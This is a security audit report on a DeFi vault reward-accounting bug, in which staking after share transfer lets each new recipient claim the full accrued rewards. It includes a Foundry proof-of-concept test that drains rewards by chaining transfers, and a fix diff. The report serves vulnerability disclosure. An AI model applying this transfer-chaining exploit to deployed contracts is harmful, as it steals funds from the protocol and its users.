0xTheC0der - Rewards can be drained due to incorrect handling of userRewardPerTokenPaid accounting

[sherlock-admin]

0xTheC0der

high

Rewards can be drained due to incorrect handling of userRewardPerTokenPaid accounting

Summary

The AbstractRewarder.userRewardPerTokenPaid mapping is updated too late on mint/deposit and inbound transfer of vault shares which enables a malicious user to drain the rewards.

Vulnerability Detail

Reward accounting

The AbstractRewarder.userRewardPerTokenPaid mapping holds the return value of AbstractRewarder.rewardPerToken() for a user since the last call to AbstractRewarder._updateReward(...). In case of a new unrelated user account, the mapping holds tha value 0.

Therefore, it's crucial that AbstractRewarder._updateReward(...) is called before vault shares are transferred or freshly minted (includes deposit) to a user, otherwise the reward accounting, see AbstractRewarder.earned(...), will act as if the user had the shares since the beginning (userRewardPerTokenPaid mapping holds 0) or since the last call to AbstractRewarder._updateReward(...) when userRewardPerTokenPaid was updated.

Vault reward handling

The LMPVault handles the reward accounting on mint/redeem/deposit/withdraw and transfer of shares using ERC-20 transfer hooks:

• LMPVault._beforeTokenTransfer(...) handles redeem/withdraw and outbound transfer of shares. It correctly withdraws all the rewards (main + extra) the user is eligible for, see L844 and MainRewarder.withdraw(...).
• LMPVault._afterTokenTransfer(...) handles mint/deposit and inbound transfer of shares. It incorreclty stakes the shares and rewards become available immediately due to the above Reward accounting pitfall, i.e. AbstractRewarder._updateReward(...) is called after shares arrived at user account, see L863 and MainRewarder.stake(...).

Moreover, the DestinationVault has the same issue and due to the analogy, this report is solely focused on the explanation, PoC and solution in the case of LMPVault.

Impact

The above vulnerability leads to the following consequences:

1. A new user who deposits (includes mint) base assets into a vault is eligible for rewards as if he had staked them since the beginning, i.e. loss of rewards for the protocol.
2. A user can transfer his vault shares to another new user, thereby he gets his rewards while the new user is also immediately eligible for rewards as if he had staked them since the beginning. By transferring the shares to the next new user and so on, all the rewards can be drained from the protocol.

Code Snippet

The following PoC modifies the existing test case LMPVaultMintingTests .test_deposit_StartsEarningWhileStillReceivingToken() in order to prove the above claims:

1. Initial depositor claims rewards immediately after deposit (same rewards as depositor who waited for 10 000 blocks)
2. Initial depositor transfers vault shares to other user who can immediately claim the same rewards again
3. Other user transfers vault shares to next other user who is immediately eligible for the same rewards again

Just apply the diff below and run the test with forge test -vv --match-test test_deposit_StartsEarningWhileStillReceivingToken:

diff --git a/test/vault/LMPVault-Withdraw.t.sol b/test/vault/LMPVault-Withdraw.t.sol
index 47b238e..ba0f233 100644
--- a/test/vault/LMPVault-Withdraw.t.sol
+++ b/test/vault/LMPVault-Withdraw.t.sol
@@ -516,19 +516,65 @@ contract LMPVaultMintingTests is Test {
         _toke.approve(address(_lmpVault.rewarder()), 1000e18);
         _lmpVault.rewarder().queueNewRewards(1000e18);
 
-        uint256 shares = _lmpVault.deposit(1000, address(this));
 
         vm.roll(block.number + 10_000);
 
+        // @audit-issue can deposit anytime and can claim rewards immediately
+        uint256 shares = _lmpVault.deposit(1000, address(this));
+
+        // initial depositor is eligible for rewards
         assertEq(shares, 1000);
         assertEq(_lmpVault.balanceOf(address(this)), 1000);
         assertEq(_lmpVault.rewarder().balanceOf(address(this)), 1000);
+        // @audit-issue initial depositor should not be eligible for rewards for freshly received shares
         assertEq(_lmpVault.rewarder().earned(address(this)), 1000e18, "earned");
 
+        // create other user and make sure he has nothing
+        address otherUser = makeAddr("otherUser");
+        assertEq(_lmpVault.balanceOf(otherUser), 0);
+        assertEq(_lmpVault.rewarder().balanceOf(otherUser), 0);
+        assertEq(_lmpVault.rewarder().earned(otherUser), 0, "earned");
+
+        // transfer shares from initial depositor to other user and implicitly claim rewards
         assertEq(_toke.balanceOf(address(this)), 0);
-        _lmpVault.rewarder().getReward();
+        _lmpVault.transfer(otherUser, 1000);
         assertEq(_toke.balanceOf(address(this)), 1000e18);
         assertEq(_lmpVault.rewarder().earned(address(this)), 0, "earnedAfter");
+
+        // check if other user got shares
+        vm.startPrank(otherUser);
+        assertEq(_lmpVault.balanceOf(otherUser), 1000);
+        // @audit-issue other user should not be eligible for rewards for freshly received shares
+        assertEq(_lmpVault.rewarder().earned(otherUser), 1000e18, "earned");
+        vm.stopPrank();
+        
+        // rewarder gets funded with next batch of rewards
+        _toke.mint(address(this), 1000e18);
+        _toke.approve(address(_lmpVault.rewarder()), 1000e18);
+        _lmpVault.rewarder().queueNewRewards(1000e18);
+
+        // create next other user and make sure he has nothing
+        address nextOtherUser = makeAddr("nextOtherUser");
+        assertEq(_lmpVault.balanceOf(nextOtherUser), 0);
+        assertEq(_lmpVault.rewarder().balanceOf(nextOtherUser), 0);
+        assertEq(_lmpVault.rewarder().earned(nextOtherUser), 0, "earned");
+
+        // transfer shares from other user to next other user and implicitly claim rewards
+        vm.startPrank(otherUser);
+        assertEq(_toke.balanceOf(otherUser), 0);
+        _lmpVault.transfer(nextOtherUser, 1000);
+        assertEq(_toke.balanceOf(otherUser), 1000e18);
+        assertEq(_lmpVault.rewarder().earned(otherUser), 0, "earnedAfter");
+        vm.stopPrank();
+
+        // check if next other user got shares
+        vm.startPrank(nextOtherUser);
+        assertEq(_lmpVault.balanceOf(nextOtherUser), 1000);
+        // @audit-issue next other user should not be eligible for rewards for freshly received shares
+        assertEq(_lmpVault.rewarder().earned(nextOtherUser), 1000e18, "earned");
+        vm.stopPrank();
+
+        // and so on ...
     }
 
     function test_deposit_RevertIf_NavChangesUnexpectedly() public {

Tool used

Manual Review

Recommendation

Make sure the userRewardPerTokenPaid mapping is updated via AbstractRewarder._updateReward(...) before a user receives vault shares. This can be done by moving the stake functionality from LMPVault._afterTokenTransfer(...) to LMPVault._beforeTokenTransfer(...):

diff --git a/src/vault/LMPVault.sol b/src/vault/LMPVault.sol
index 62b3872..0392ec6 100644
--- a/src/vault/LMPVault.sol
+++ b/src/vault/LMPVault.sol
@@ -844,6 +844,12 @@ contract LMPVault is
             rewarder.withdraw(from, amount, true);
         }
 
+        // If this isn't a burn, then the recipient should be earning in the rewarder
+        // "Stake" the tokens there so they start earning
+        if (to != address(0)) {
+            rewarder.stake(to, amount);
+        }
+
         // Make sure the destination wallet total share balance doesn't go above the
         // current perWalletLimit
         if (balanceOf(to) + amount > perWalletLimit) {
@@ -855,13 +861,6 @@ contract LMPVault is
         // Nothing to do really do here
         if (from == to) {
             return;
-        }
-
-        // If this isn't a burn, then the recipient should be earning in the rewarder
-        // "Stake" the tokens there so they start earning
-        if (to != address(0)) {
-            rewarder.stake(to, amount);
-        }
     }
 
     function _snapStartNav() private view returns (uint256 oldNav, uint256 startingTotalSupply) {

Duplicate of #603